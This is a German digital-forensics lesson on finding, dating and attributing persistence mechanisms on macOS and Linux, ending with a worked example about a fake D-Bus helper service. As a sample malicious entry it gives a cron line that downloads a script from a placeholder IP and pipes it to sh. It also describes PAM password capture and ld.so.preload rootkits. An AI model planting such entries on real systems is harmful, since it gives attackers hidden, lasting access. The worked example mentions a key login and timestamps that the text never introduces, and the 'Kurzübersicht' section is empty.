Persistenz unter macOS und Linux

Persistenz umfasst alles, was es einem Eindringling oder Schadsoftware ermöglicht, einen Neustart, eine Abmeldung oder eine Passwortänderung zu überdauern. Unter macOS und Linux handelt es sich dabei fast immer um eine Datei: eine Property List, eine Unit-Datei, eine Crontab-Zeile oder einen öffentlichen Schlüssel. Diese Lektion führt die wichtigsten Autostart-Speicherorte auf beiden Systemen auf und zeigt, wie Sie bösartige Einträge von legitimen unterscheiden, zeitlich einordnen und zuordnen. Persistenz unter Windows wird in Modul 2 behandelt.

Die Vorgehensweise des Prüfers

1. Erfassen Sie jeden Autostart-Speicherort für die jeweilige Betriebssystemversion, sowohl systemweit als auch in jedem Home-Verzeichnis, einschließlich /root und Dienstkonten wie www-data.
2. Vergleichen Sie mit einer Referenz: einem nachweislich unauffälligen System desselben Builds oder den Aufzeichnungen der Paketverwaltung. Prüfen Sie, wem jede Datei zuzuordnen ist (einem Paket, einem signierten Hersteller-Bundle, niemandem?) und ob das von ihr gestartete Programm an einem ungewöhnlichen Ort liegt, etwa in /tmp, /dev/shm oder als Datei mit einem Punkt am Namensanfang in /usr/local/bin.
3. Dokumentieren Sie Eigentümer, Dateimodus, alle Zeitstempel (ext4 und APFS speichern einen Erstellungszeitpunkt), Größe und SHA-256 der Konfigurationsdatei und des von ihr gestarteten Programms.
4. Sortieren Sie nach Zeit und suchen Sie nach Elementen, die im Vorfallszeitraum erstellt oder geändert wurden. Untermauern Sie dies anschließend mit Protokollen (Lektion 6.4) und Ausführungsnachweisen.
5. Kennzeichnen Sie jeden Befund mit einer Technik-ID von MITRE ATT&CK. IDs sind Vokabular, keine Beweise: Sie machen Berichte vergleichbar.

Verwandte IDs, denen Sie begegnen werden: T1574.006 Übernahme des dynamischen Linkers (ld.so.preload), T1556.003 Pluggable Authentication Modules, T1505.003 Web-Shell und T1136.001 Konto erstellen: Lokales Konto.

macOS

launchd-Daemons und -Agents

launchd (PID 1) startet Jobs, die in Property Lists beschrieben sind; Lektion 6.1 behandelt XML- und binäre Plists sowie deren Auslesen mit plutil -p.

Die /System-Ordner sind durch System Integrity Protection (SIP, OS X 10.11+) geschützt und liegen ab macOS 11 auf dem versiegelten, schreibgeschützten Systemvolume. Suchen Sie daher in /Library und den Benutzerordnern. Die relevanten Schlüssel:

• Label: der eindeutige Jobname, üblicherweise in umgekehrter DNS-Schreibweise. Ein com.apple.-Label außerhalb von /System verdient eine genaue Prüfung.
• Program oder ProgramArguments: die ausführbare Datei und ihre Argumente; die Datei müssen Sie lokalisieren und hashen. /bin/sh -c, curl oder osascript sind Warnsignale.
• RunAtLoad: Start, sobald der Job geladen wird (beim Booten oder Anmelden).
• KeepAlive: Neustart des Jobs, sobald er beendet wird.
• StartInterval: Ausführung alle N Sekunden (StartCalendarInterval ist die cron-ähnliche Form).

Anmeldeobjekte, Profile und weitere Ansatzpunkte unter macOS

Ab macOS 13 Ventura erfasst Background Task Management (BTM) Anmeldeobjekte, Launch Agents und Daemons, benachrichtigt den Benutzer und listet sie unter Systemeinstellungen > Allgemein > Anmeldeobjekte auf. Die zugehörige Datenbank ist /private/var/db/com.apple.backgroundtaskmanagement/BackgroundItems-v<N>.btm, wobei sich N zwischen den Versionen ändert. Es handelt sich um eine binäre Plist in Apples Keyed-Archive-Format; auf einem laufenden Mac gibt sudo sfltool dumpbtm für jedes Objekt die Kennung, den Entwicklernamen, den Typ, den Status und den Pfad zur ausführbaren Datei aus. macOS 10.13 bis 12 speicherten Anmeldeobjekte in ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm.

• Konfigurationsprofile (.mobileconfig) können Stammzertifikate, Proxy-, DNS- oder VPN-Einstellungen oder eine MDM-Registrierung installieren: Kontrolle statt Code. Listen Sie sie auf einem laufenden System mit sudo profiles list auf. Ab macOS 11 kann das Werkzeug profiles ein Profil nicht mehr unbemerkt installieren. Ein unerlaubtes Profil setzt daher eine Benutzerzustimmung oder MDM voraus.
• cron und periodic sind weiterhin vorhanden, werden aber selten verwendet: Benutzer-Crontabs in /private/var/at/tabs/<user>, Skripte in /etc/periodic/daily|weekly|monthly.
• Shell-Profile: zsh ist seit 10.15 die Standardshell. ~/.zshenv wird für jede zsh ausgeführt, ~/.zprofile für Login-Shells, ~/.zshrc für interaktive Shells, zusätzlich zu /etc/zprofile und /etc/zshrc. Sie werden nur ausgeführt, wenn eine Shell startet.
• Autorisierungs-Plug-ins in /Library/Security/SecurityAgentPlugins werden, sobald sie in der Autorisierungsdatenbank referenziert sind, während der Anmeldung mit Zugriff auf das eingegebene Passwort ausgeführt; Kernel-Erweiterungen (/Library/Extensions, seit macOS 10.15 veraltet) und Systemerweiterungen (10.15+, systemextensionsctl list) erfordern eine ausdrückliche Benutzerzustimmung.

Es ist wichtig, wie die Binärdatei auf das System gelangt ist. Browser und Mail fügen das Attribut com.apple.quarantine hinzu (Lektion 6.1), sodass Gatekeeper beim ersten Start Signatur und Notarisierung prüft. curl fügt es nicht hinzu; eine abgelegte Binärdatei ohne dieses Attribut ist daher mit einem Download durch ein Skript vereinbar. Prüfen Sie die Signierung mit codesign -dv --verbose=4.

Linux

systemd-Dienste und -Timer

Unit-Dateien werden aus /etc/systemd/system (Administrator, höchste Priorität), /run/systemd/system (Laufzeit) und /lib/systemd/system oder /usr/lib/systemd/system (Pakete) gelesen. Benutzer-Units in ~/.config/systemd/user laufen, solange der betreffende Benutzer angemeldet ist, oder dauerhaft, wenn Linger aktiviert ist (/var/lib/systemd/linger/<user>).

In einer Unit enthält [Service] die Einträge ExecStart= (das Programm), Restart=always (Neustart nach Beendigung) und User=; [Install] enthält WantedBy=multi-user.target. systemctl enable setzt WantedBy um, indem es einen symbolischen Link in /etc/systemd/system/multi-user.target.wants/ erstellt. Der Link ist ein neuer Inode. Sein eigener Erstellungszeitpunkt (ohne Folgen des Links auslesen: stat für den Link oder istat für dessen Inode) datiert daher seine letzte Erstellung, normalerweise durch systemctl enable. Prüfen Sie auch Drop-in-Ordner (<unit>.d/*.conf), die den Eintrag ExecStart= eines legitimen Dienstes überschreiben können. Timer (.timer mit OnCalendar= oder OnBootSec=) starten den gleichnamigen .service; listen Sie sie auf einem laufenden System mit systemctl list-timers --all auf.

cron, SSH-Schlüssel und Shell-Startdateien

Lektion 6.3 nannte die Speicherorte für cron und at. Bösartige Einträge sehen beispielsweise so aus: * root curl -fsSL http://203.0.113.50/k.sh | sh: jede Minute ein Download, der über eine Pipe an eine Shell weitergereicht wird. Ebenfalls verdächtig sind Base64-Blöcke, eine Crontab für www-data oder eine Datei in /etc/cron.d, die zu keinem Paket gehört.

OpenSSH liest standardmäßig .ssh/authorized_keys und .ssh/authorized_keys2 in jedem Home-Verzeichnis; prüfen Sie sshd_config auf AuthorizedKeysFile oder AuthorizedKeysCommand. Jede Zeile enthält gegebenenfalls Optionen, den Schlüsseltyp, den Base64-Schlüssel und einen Kommentar. Der Kommentar ist frei wählbarer Text des Schlüsselerstellers und erlaubt keinerlei Zuordnung. Optionen wie command="…" (einen Befehl erzwingen) oder from="198.51.100.0/24" (zulässige Quellen) verändern die Wirkung des Schlüssels. ssh-keygen -lf authorized_keys gibt den SHA256:-Fingerabdruck jedes Schlüssels aus, den Sie mit sshd-Zeilen wie Accepted publickey for root from … ssh2: ED25519 SHA256:… abgleichen (Lektion 6.4).

Bash-Login-Shells lesen /etc/profile (das /etc/profile.d/*.sh einbindet) und die erste vorhandene Datei aus ~/.bash_profile, ~/.bash_login und ~/.profile; interaktive Nicht-Login-Shells lesen /etc/bash.bashrc (Debian-Familie) und ~/.bashrc. Suchen Sie an deren Ende nach nohup … &, alias sudo= oder export LD_PRELOAD=.

Tiefer greifende Eingriffspunkte

• rc.local und init.d: Wenn /etc/rc.local vorhanden und ausführbar ist, führt systemd die Datei beim Booten aus; SysV-Skripte in /etc/init.d werden über einen Kompatibilitätsgenerator ausgeführt. systemd 260 (2026) hat beides entfernt.
• /etc/ld.so.preload: normalerweise nicht vorhanden. Jedes aufgeführte Shared Object wird in jedes dynamisch gelinkte Programm geladen – die klassische User-Mode-Rootkit-Technik, um Dateien und Prozesse vor Werkzeugen zu verbergen, die auf dem laufenden Host ausgeführt werden.
• Kernelmodule: /etc/modules, /etc/modules-load.d/*.conf und /etc/modprobe.d/*.conf (deren install-Zeilen Befehle ausführen können). lsmod liest /proc/modules, das ein Rootkit verfälschen kann. Vergleichen Sie Moduldateien unter /lib/modules/<kernel>/, Kernelmeldungen wie module verification failed: signature and/or required key missing - tainting kernel und den Arbeitsspeicher (Modul 5).
• udev-Regeln: Ein RUN+="…" in /etc/udev/rules.d/*.rules wird bei jedem passenden Geräteereignis ausgeführt.
• PAM: Eine Zeile in /etc/pam.d/, die pam_exec.so expose_authtok hinzufügt, übergibt jedes eingegebene Passwort an ein Programm; ein ersetztes pam_unix.so kann ein Masterpasswort akzeptieren.
• Konten: eine zweite UID 0 in /etc/passwd, neue Mitglieder von sudo/wheel oder Dateien in /etc/sudoers.d (Lektion 6.3).
• Web-Shells: kleine .php- oder .jsp-Dateien unter /var/www, deren Eigentümer das Webserver-Konto ist.

Überprüfung anhand der Paketverwaltung

dpkg -V (oder debsums -c) vergleicht Dateien mit den bei der Installation aufgezeichneten MD5-Prüfsummen; rpm -Va prüft zusätzlich Größe, Dateimodus, Eigentümer und mtime und gibt Kennzeichen wie S.5....T. (Größe, Hashwert, Zeit geändert) sowie c für Konfigurationsdateien aus, die sich legitimerweise ändern. dpkg -S <path> oder rpm -qf <path> nennt das Paket einer Datei. Grenzen: Nur paketzugehörige Dateien werden geprüft, sodass eine neue Unit, cron-Datei oder authorized_keys-Zeile unsichtbar bleibt; außerdem kann ein Angreifer mit root-Rechten die Datenbank (/var/lib/dpkg/info/*.md5sums, /var/lib/rpm) oder die Werkzeuge ändern. Verwenden Sie vorzugsweise Hashwerte der Originalpakete vom Distributionsspiegelserver und vergleichen Sie diese auf Ihrer Arbeitsstation mit dem schreibgeschützt eingehängten Dateisystem.

Kurzübersicht

Durchgearbeitetes Beispiel: ein gefälschter D-Bus-Helfer

Ein Debian-12-Webserver (Zeitzone UTC−3) wurde am 14. März 2026 kompromittiert:

Die Unit /etc/systemd/system/dbus-helper.service enthält ExecStart=/usr/local/bin/.dbus-helper, Restart=always und WantedBy=multi-user.target. dpkg -S findet für keine der beiden Dateien ein zugehöriges Paket; die echte D-Bus-Unit ist dbus.service in /lib/systemd/system, und der führende Punkt verbirgt die Binärdatei vor einem einfachen ls.

Die Aktivierung zeitlich bestimmen. stat gibt für den symbolischen Link Birth: 2026-03-14 11:26:10.483920117 -0300 aus; 11:26:10 + 3 h = 14:26:10Z. Prüfen Sie dies im rohen Inode: i_crtime am Offset 0x90 enthält 02 70 B5 69, in Little-Endian 0x69B57002 = 1.773.498.370 Sekunden seit 1970-01-01 = 2026-03-14T14:26:10Z. i_crtime_extra bei 0x94 enthält D4 23 60 73 = 0x736023D4; um 2 Bits nach rechts verschoben ergibt dies 483.920.117 ns, und die beiden niederwertigsten Bits (00) fügen keine Epochenerweiterung hinzu.

Den Schlüssel verknüpfen. ssh-keygen -lf liefert für die neue Zeile SHA256:Cn2JcyZ2wuDBa4eq1qcqPCgpueXIwuMbVag5jAOwvEU, identisch mit der Anmeldung um 02:07:44Z. Somit wurde dieser Schlüssel verwendet, und zwar von einer neuen Adresse aus.

Zuordnung. Alle drei Elemente wurden der Reihe nach innerhalb der Root-Shell der deploy-Sitzung erstellt (14:18:05Z bis 14:31:40Z). Erstellungszeitpunkte zeigen, wann Inodes entstanden, nicht, wer gehandelt hat. Das Sitzungszeitfenster stellt diese Verbindung her, nachdem Sie wtmp und das Journal auf andere zu diesem Zeitpunkt offene Sitzungen geprüft haben. touch kann weder crtime noch ctime setzen, sodass eine zurückdatierte mtime den Zeitpunkt 14:25:02Z nicht verbergen würde. Führen Sie T1543.002 und T1098.004 im Bericht auf.

Prüfungsschwerpunkt: Rechnen Sie damit, den Ordner und das Konto eines launchd-Jobs angeben, ProgramArguments, RunAtLoad und KeepAlive auslesen und einen systemd-Dienst anhand seines symbolischen Links in *.wants zeitlich einordnen zu müssen. Möglicherweise müssen Sie einen authorized_keys-Fingerabdruck einer Accepted publickey-Zeile zuordnen, eine lokale Zeitangabe von stat in UTC umrechnen und den vollständigen Pfad sowie den SHA-256 einer Binärdatei angeben.

Kernpunkte

• Persistenz ist eine Datei an einem bekannten Autostart-Speicherort; erfassen Sie alle diese Speicherorte, systemweit und pro Benutzer, und vergleichen Sie sie anschließend mit einer Referenz.
• LaunchDaemons laufen beim Booten als root; LaunchAgents laufen bei der Anmeldung als der jeweilige Benutzer; /System/Library gehört Apple und ist versiegelt.
• systemctl enable erstellt einen symbolischen Link in *.wants/; der eigene Erstellungszeitpunkt des Links datiert die Aktivierung.
• Weisen Sie nach, welcher SSH-Schlüssel verwendet wurde, indem Sie seinen SHA256:-Fingerabdruck mit der Accepted publickey-Zeile von sshd abgleichen; ignorieren Sie den Schlüsselkommentar.
• dpkg -V und rpm -Va erfassen nur paketzugehörige Dateien und vertrauen einer Datenbank, die root ändern kann.
• ATT&CK-IDs wie T1543, T1053, T1098.004, T1546, T1547 und T1037 benennen Befunde; sie beweisen sie nicht.